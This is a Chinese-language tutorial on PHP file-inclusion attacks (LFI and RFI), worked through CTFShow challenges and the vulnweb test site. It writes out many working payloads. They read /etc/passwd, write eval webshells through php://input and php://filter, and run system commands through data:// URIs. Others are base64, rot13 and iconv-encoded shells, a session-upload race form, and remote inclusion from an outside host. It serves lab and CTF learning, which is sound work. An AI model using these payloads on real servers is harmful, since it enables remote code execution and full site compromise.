WEB攻防-文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒

知识点:

1、文件包含-原理&分类&危害-LFI&RFI

2、文件包含-利用-黑白盒&无文件&伪协议

一、演示案例-文件包含-原理&分类&利用

1、原理

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞。


bash 复制代码
 <?php include "xx.xx";?> 这种是包含指定页面,不存在文件包含漏洞
 <?php include $_GET[x];?> 这种通过动态变量的传参才存在文件包含漏洞


2、分类

本地包含-Local File Include-LFI

bash 复制代码
(包含的文件都是本地服务器上的,可以包含图片马,敏感文件,日志等等)x.php?x=xx.xx

远程包含-Remote File Include-RFI(较少)

bash 复制代码
x.php?x=http://xxxxx/x.xx (要保证php.ini中allow_url_fopen和allow_url_include要为On)

3、白盒审计

bash 复制代码
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等
PHP:include、require、include_once、require_once等
include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
require函数出现错误的时候,会直接报错并退出程序的执行
Java:java.io.File、java.io.FileReader等
ASP.NET:System.IO.FileStream、System.IO.StreamReader等

4、黑盒分析

bash 复制代码
黑盒发现:主要观察参数传递的数据和文件名是否对应
URL中有path、dir、file、page、archive、eng、语言文件等相关字眼

5、利用

无文件就是指目标没有上传点,只能包含服务器已经存在的文件。

思路:

1、配合文件上传(目标有上传点,自己上传一个恶意代码的文件)

2、无文件包含日志(前提:需要知道当前网站存储日志的绝对路径)


3、无文件包含SESSION(前提:需要知道当前网站存储SESSION文件的绝对路径)

4、无文件支持伪协议利用

文件读取

bash 复制代码
方式一:
file:///etc/passwd
bash 复制代码
方式二:
php://filter/read=convert.base64-encode/resource=phpinfo.php




文件写入

bash 复制代码
方式一:
php://filter/write=convert.base64-encode/resource=phpinfo.php  //这个需要代码里接收两个参数才行

注:131要改为base64编码才行,图里是错误的。

bash 复制代码
方式二:
php://input 
POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>



代码执行

bash 复制代码
方式一:
php://input 
POST:<?php phpinfo();?>
bash 复制代码
方式二:
data://text/plain,<?php phpinfo();?>
bash 复制代码
方式三:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b


远程利用思路

直接搭建一个可访问的远程URL包含文件(不能是脚本文件,其他后缀随意,可包含一句话getshell)

二、演示案例-文件包含-利用-黑白盒&无文件&伪协议

黑盒利用-VULWEB

http://testphp.vulnweb.com/showimage.php?file=index.php



白盒利用-CTFSHOW-伪协议玩法

https://ctf.show/challenges //专门的CTF网站,对新手比较友好

78-php&http协议

bash 复制代码
方式一:
payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php
bash 复制代码
方式二:
payload: ?file=php://input 
post:<?php system('tac flag.php');?>



bash 复制代码
方式三:
payload: ?file=http://www.xiaodi8.com/1.txt 
远程1.txt: <?php system('tac flag.php');?> //也可以写一句话木马连上去


79-data&http协议

bash 复制代码
方式一:
payload: ?file=data://text/plain,<?=system('tac flag.*');?>
bash 复制代码
方式二:
payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==


bash 复制代码
方式三:
payload: ?file=http://www.xiaodi8.com/1.txt 
1.txt:<?php system('tac flag.php');?>

80 81-日志包含

bash 复制代码
1、利用其他协议,如file,zlib等
2、利用日志记录UA特性包含执行
故利用日志记录UA信息,UA带入后门代码或者system代码
包含:/var/log/nginx/access.log






82-86-SESSION包含

利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含




bash 复制代码
session会自动把内容清空,所以要在清空之前利用条件竞争方式触发session里的代码,自定义session名字,条件竞争访问session文件,触发创建新文件。

以下表单就是为了创建session文件
<!DOCTYPE html>
<html>
<body>
<form action="http://xxxx.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[1])?>'?>" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>


随便上传一张图片抓取这个数据包,在请求头中添加session名字并进行无限发包

同样的,抓取这个路径请求包进行无限发包,从而触发session文件里的php代码

然后就会在网站目录下生成一个shell.php文件

87-php://filter/write&加密编码

bash 复制代码
1、利用base64:
url编码2次:php://filter/write=convert.base64-decode/resource=123.php 
content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==





bash 复制代码
2、利用凯撒13(类似base64的加密方式):
url编码2次:php://filter/write=string.rot13/resource=2.php
content=<?cuc riny($_CBFG[1]);?>




88-data&base64协议

过滤PHP,各种符号,php代码编码写出无符号base64

bash 复制代码
Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk






117-php://filter/write&新的算法

bash 复制代码
代理中并没有过滤php
生成脚本
<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
?>
bash 复制代码
与凯撒13加密差不多,只不过换了另外一种方式
Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>?


相关推荐
BingoGo1 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack1 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack4 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理5 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
QQ5110082855 天前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php
WeiXin_DZbishe5 天前
基于django在线音乐数据采集的设计与实现-计算机毕设 附源码 22647
javascript·spring boot·mysql·django·node.js·php·html5